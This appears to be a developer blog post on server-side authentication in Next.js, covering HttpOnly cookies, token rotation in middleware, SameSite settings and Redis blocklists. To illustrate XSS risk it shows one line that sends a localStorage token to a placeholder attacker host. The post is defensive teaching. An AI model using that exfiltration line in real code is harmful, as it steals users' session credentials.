Server-Centric State: Authentication Patterns for Next.js
Critical state belongs on the server. Examining HttpOnly cookies, server-side sessions, and zero client-side token storage.
The browser is not a vault
Every time you store a JWT in localStorage, you're making a decision: you're trusting the browser to protect a credential that can impersonate your user.
The browser is a rendering surface. It executes arbitrary JavaScript from dozens of sources — your code, third-party analytics, ad scripts, npm packages with 47 transitive dependencies you've never audited. localStorage is readable by every line of JavaScript running on that page.
XSS (Cross-Site Scripting) is not a theoretical attack vector. It's a category of vulnerability that has existed for 25 years and appears in production codebases constantly. An attacker who can inject JavaScript into your page can read localStorage in one line:
fetch("https://attacker.com/steal?token=" + localStorage.getItem("access_token"));That's it. Your user's session is gone.
The pattern that actually works
HttpOnly cookies cannot be accessed by JavaScript. Period. The browser sends them automatically with every request to your domain, and JavaScript cannot read them. This is not a configuration option — it's enforced by the browser's security model.
The architecture looks like this:
(cookie sent automatically)
The browser never touches the token. It never stores it. It never reads it. The credential lives in an HttpOnly cookie, sent automatically, invisible to JavaScript.
Implementing token rotation in Next.js
Access tokens expire. That's by design. The question is what happens when they do.
The naive approach: redirect to login. The correct approach: use a long-lived refresh token to issue a new access token silently, without interrupting the user.
In Next.js App Router, this lives in middleware:
// middleware.ts
import { NextResponse } from "next/server";
import type { NextRequest } from "next/server";
import { refreshAccessToken } from "@/lib/auth";
export async function middleware(request: NextRequest) {
const accessToken = request.cookies.get("access_token")?.value;
const refreshToken = request.cookies.get("refresh_token")?.value;
if (!accessToken && !refreshToken) {
return NextResponse.redirect(new URL("/login", request.url));
}
if (!accessToken && refreshToken) {
const result = await refreshAccessToken(refreshToken);
if (!result.ok) {
const response = NextResponse.redirect(new URL("/login", request.url));
response.cookies.delete("refresh_token");
return response;
}
const response = NextResponse.next();
// Set the cookie on the response — this reaches the browser.
response.cookies.set("access_token", result.accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === "production",
sameSite: "strict",
maxAge: 60 * 15,
path: "/",
});
// Critical: mutate the request cookies so that Server Components
// reading cookies() during this same render cycle see the refreshed
// token. Without this, the response carries a valid cookie but the
// Server Component tree reads the original (expired) request headers
// and throws a 401 before the browser ever receives the new cookie.
request.cookies.set("access_token", result.accessToken);
response.headers.set(
"x-middleware-request-cookie",
request.cookies.toString()
);
return response;
}
return NextResponse.next();
}This runs at the edge before any page renders. The user never sees an expired token. They never get redirected to login when their access token silently rotates. The refresh token is itself an HttpOnly cookie.
Why sameSite matters
There are three values for the SameSite cookie attribute: None, Lax, and Strict.
None: Cookie sent with all cross-site requests. Required for embedded iframes. Also means your auth cookie follows the user to any site.Lax: Cookie sent with top-level navigations and same-site requests. The default in modern browsers. Protects against most CSRF.Strict: Cookie only sent for same-site requests. Maximum protection. Clicking a link from an email won't include the cookie.
For internal clinic dashboards and API-driven applications, Strict is the right choice. The slight UX friction of requiring a fresh login after following an external link is worth the complete elimination of CSRF.
The session store question
HttpOnly cookies solve the client-side exposure problem. They don't solve the server-side session management problem.
If you validate a JWT on every request, you have stateless authentication. The server doesn't need to remember anything — the JWT carries the claims. This is the most scalable approach and the correct one for serverless environments like Vercel.
The tradeoff: you can't instantly invalidate a JWT before it expires. If a user logs out, the JWT stays valid for its remaining lifetime (typically 15 minutes). For most applications, this is acceptable. For high-security contexts, you pair it with a token blocklist in Redis.
In Soff.ia's dashboard — where clinic owners control patient data — we use 15-minute access tokens with a Redis blocklist that's checked on sensitive write operations. The performance cost is one Redis lookup per mutation. The security gain is instant session invalidation.
What the browser does instead
When state doesn't live in localStorage, it needs to live somewhere. The answer is: in the URL, in server-rendered components, or in React Server Component props.
In Next.js 15 with the App Router, most state that developers reflexively put in useState can live in the URL (via searchParams) or be fetched on the server (via async Server Components that read from the database on every request).
The shift in mental model: the server is the source of truth. The browser is a view.
A user's preferences, their active session, their role permissions — none of these should live in a JavaScript variable. They should live in a database, be read on the server, and arrive at the browser as rendered HTML.
This is not a performance tradeoff. For authenticated applications, server-side rendering of user-specific data is faster than loading a skeleton, making a client-side fetch, and filling in the content. The first byte contains everything the user needs to see.
The summary, without euphemism
Store tokens in HttpOnly cookies. Never in localStorage. Never in sessionStorage. Never in a JavaScript variable that outlives a render cycle.
Rotate access tokens silently in middleware. Use short expiry (15 minutes). Pair refresh tokens with a server-side blocklist if your threat model requires instant invalidation.
Use sameSite: strict for internal tools. Use sameSite: lax if you need external redirects to work.
The browser renders. The server authenticates. These responsibilities don't overlap.